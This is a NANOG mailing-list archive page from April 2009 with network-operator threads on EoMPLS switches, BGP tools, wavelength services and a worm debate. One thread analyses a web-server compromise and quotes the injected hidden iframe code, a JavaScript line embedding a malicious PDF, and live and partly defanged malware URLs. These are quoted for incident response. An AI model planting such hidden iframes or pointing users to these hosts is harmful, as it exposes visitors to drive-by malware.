- Test - lists.nanog.org

Yahoo mail admin
by Blake Pfankuch 22 Apr '09

22 Apr '09

Can I get a yahoo mail services admin to contact me off list? the normal channels have been getting me nowhere. "a representative will be in touch with you in a few days" has been going on for about 2 weeks. Blake Pfankuch Connecting Point of Greeley Network Engineer 970-356-7224 [cid:image001.gif@01C9C2B5.E5BDA550]

1 0

Any experience with EoMPLS PE switches?
by Jason Lixfeld 22 Apr '09

22 Apr '09

Looking to migrate away from a VLAN centric core to provision client TLS circuits into something a little more scalable. EoMPLS seems like the apple to chew these days. Anyone have any experience with a cost effective EoMPLS PE (VPLS is likely going to be a necessity down the road too) that also does what any other purpose built edge switch would do? QinQ, L2 protocol tunneling, port security (MAC lock down, UNI ports, etc), DHCP server, LACP, MSTP, BGP/OSPF/ISIS? In a perfect world, this thing would be about 1U, have between 12-24 ports, mixed mode (SFP + RJ45) 10/100/1000, dual DC power. Not looking to burn up glass by pulling all our customers back to a central aggregation box, so we'd be looking to drop one or more of these devices into all of our on-net buildings (40 or so), so they'd have to be relatively cost effective. Cisco doesn't seem to have anything reasonably priced. I haven't had much luck keeping MRV's 910 series from crashing. Off-list replies are probably fine. If there is any genuine interest, I'd be happy to post my findings. Thanks in advance.

1 0

Malicious code just found on web server
by Russell Berg 21 Apr '09

21 Apr '09

We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> <iframe src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> </body> </html> IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating... Russell Berg Dir - Product Development Airstream Communications berg(a)wins.net 715-832-3726

10 12

tools for BGP
by Irfan Zakiuddin 21 Apr '09

21 Apr '09

Hi, I am interested in commercial tools for managing BGP. I would be interested to hear which commercial tools BGP administrators recommend or like; and why they like them. I would be equally interested to learn which tools people don't like, and why. If people don't feel able to name tools, then I would still be grateful for a description of unhelpful features or an outline of why functionality is to limited. This should not require giving product names. Finally, I would be most interested if people think there are no commercial tools which are of much use. thanks in advance for your help.

2 1

Re: tools for BGP
by Scott Weeks 21 Apr '09

21 Apr '09

--- irfan.zakiuddin(a)googlemail.com wrote: From: Irfan Zakiuddin <irfan.zakiuddin(a)googlemail.com> I am interested in commercial tools for managing BGP. -------------------------------------------------- Have you looked at the NANOG mailing list and meeting archives yet? If not, you should do so. There is a lot of info there. scott

1 0

CN=Ali Khurram/O=KFPW is out of the office.
by ali.khurram＠unitedgroupltd.com 21 Apr '09

21 Apr '09

I will be out of the office starting 30/03/2009 and will not return until 26/04/2009. UNITED GROUP This email message is the property of United Group. The information in this email is confidential and may be legally privileged. It is intended solely for the addressee. Access to this email by anyone else is unauthorised. If you are not the intended recipient, you may not disclose, copy or distribute this email, nor take or omit to take any action in reliance on it. United Group accepts no liability for any damage caused by this email or any attachments due to viruses, interference, interception, corruption or unauthorised access. If you have received this email in error, please notify United Group immediately by email to the sender's email address and delete this document.

1 0

Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing
by Chaim Rieger 20 Apr '09

20 Apr '09

And I want cnet to not report this crap. They glamorise it. ------Original Message------ From: andrew.wallace To: nanog(a)nanog.org To: n3td3v Subject: Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing Sent: Apr 17, 2009 18:38 So if Al-Qaeda blow up a shopping centre and the guy who masterminded it turns out to be 17 he gets a job in MI5? OH MY GOD. On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates <jbates(a)brightok.net> wrote: > andrew.wallace wrote: >> >> I want this individual made an example of and im not joking. >> > > And I'd like an example made of companies that ignore reports of security > flaws and leave their customers open to such worms; not to mention giving > the impression to misguided teenagers that the only way they will be heard > is to release a worm. > > Historically, I believe some companies have ignored security concerns until > someone (sometimes non-maliciously) released a worm. Of course, even > non-malicious worms can have unpredictable results which result in > catastrophic behavior. The earliest examples predate my residence on the > network, but I've read a small bug made them extremely bad. > > Jack > > Sent via BlackBerry from T-Mobile

5 5

Re: Malicious code just found on web server 13E-7EB
by Jake Mailinglists 20 Apr '09

20 Apr '09

On Mon, Apr 20, 2009 at 10:42 AM, Jake Mailinglists <jbabbinlists(a)gmail.com>wrote: > Paul, > I noticed that in the PDF file but as the domain doesn't seem to have > resolution I didn't mention it. > > Jake > > WHOIS information on the domain > > Whois Record > > domain: TEST1.RU > type: CORPORATE > nserver: ns1.centerhost.ru. > nserver: ns1.cetis.ru. > state: REGISTERED, DELEGATED > org: Center of Effective Technologies and Systems CETIS > phone: +7 4957711654 > fax-no: +7 4957879251 > e-mail: <http://www.domaintools.com/registrant-search/?email=f6261250d87c80094b7a5eb…> > e-mail: <http://www.domaintools.com/registrant-search/?email=acac76ec2f649d85219bdf7…> > registrar: REGRU-REG-RIPN > created: 2001.03.30 > paid-till: 2010.04.03 > source: TC-RIPN > > Registry Data Created: 2001-03-30 Expires: 2010-04-03 Whois Server: > whois.ripn.net > Server Data Domain Status: Registered And No Website > > > On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson <fergdawgster(a)gmail.com>wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills <securinate(a)gmail.com> >> wrote: >> >> >> >> I took a quick look at the code... formatted it in a pastebin here: >> >> http://pastebin.com/m7b50be54 >> >> >> >> That javascript writes this to the page (URL obscured): >> >> document.write("<embed >> >> src=\"hXXp:// >> 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|<http://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown%7C> >> >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" >> >> type=\"application/pdf\"></embed>"); >> >> >> >> The 1.2.3.4 in the URL is my public IP address (I changed that). >> >> >> >> Below the javascript, it grabs a PDF: >> >> <embed src="include/two.pdf" width="1" height="0" >> >> style="border:none"></embed> >> >> >> >> That PDF is on the site, I haven't looked at it yet though. >> >> >> >> Not only is that .pdf malicious, when "executed" it also fetches >> additional >> malware from: >> >> hxxp:// test1.ru /1.1.1/load.php >> >> If that host is not in your block list, it should be -- known purveyor of >> crimeware. >> >> This is in addition to the other malicious URLs mentioned in this thread. >> >> - - ferg >> >> -----BEGIN PGP SIGNATURE----- >> Version: PGP Desktop 9.5.3 (Build 5003) >> >> wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI >> mxM8Ci/feKnJe6M6qbiESPw= >> =b0Yj >> -----END PGP SIGNATURE----- >> >> >> >> -- >> "Fergie", a.k.a. Paul Ferguson >> Engineering Architecture for the Internet >> fergdawgster(at)gmail.com >> ferg's tech blog: http://fergdawg.blogspot.com/ >> >> >

1 0

RE: Malicious code just found on web server
by Russell Berg 20 Apr '09

20 Apr '09

FWIW, 77.92.158.122 resolves to mail.yarisfest.com, not mail.yaris.com -----Original Message----- From: Russell Berg Sent: Friday, April 17, 2009 3:39 PM To: 'nanog(a)nanog.org' Subject: Malicious code just found on web server We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> <iframe src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> </body> </html> IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating... Russell Berg Dir - Product Development Airstream Communications berg(a)wins.net 715-832-3726

4 7

So I've got this 2.5gig wave, what do I do with it?
by will＠loopfree.net 20 Apr '09

20 Apr '09

Due to the vagaries of telecom pricing, I've ended up with a 2.5gig wavelength service between two locations when what I really wanted was a gig-e or two. I'm really not sure if this is a "transparent" wave service or not... the carrier is using gear from Ciena to hand it off to us and they seem to be big on transparent waves, so maybe it is, but nobody seems to be able to say for sure. So, how can I best make use of this beast in my ethernet-centered world? 1- Since it doesn't cost me anything, I'm going to try to send a gigabit LX signal and see what happens. The handoff from the carrier to me seems to be a plain 1310 type of signal... Light goes on, light goes off, maybe the carrier's gear doesn't care that it's not modulating "fast enough" and I'll get lucky? 2- MRV's EM2009-GM2 card takes 2xGE and spits out a 2.5G signal of some sort. However they won't guarantee me that it'll work when talking to the Ciana card the carrier is using. I should probably inquire about their return policy and go for it. The SFPs they spec on the trunk side are the same as those for OC48, so as long as my wave is transparent and not expecting OC48 framing I'm thinking this would work. 3- I can buy an OC48 box and mux some GE onto it with GFP/VCAT. Expensive and overcomplicated since I don't need anything but ethernet. Anyone have some clue for me? I'm starting to wish we'd just jumped to 10G waves since at least there it's clear how to interop with 10gig ethernet. -Will Orton will(a)loopfree.net

6 6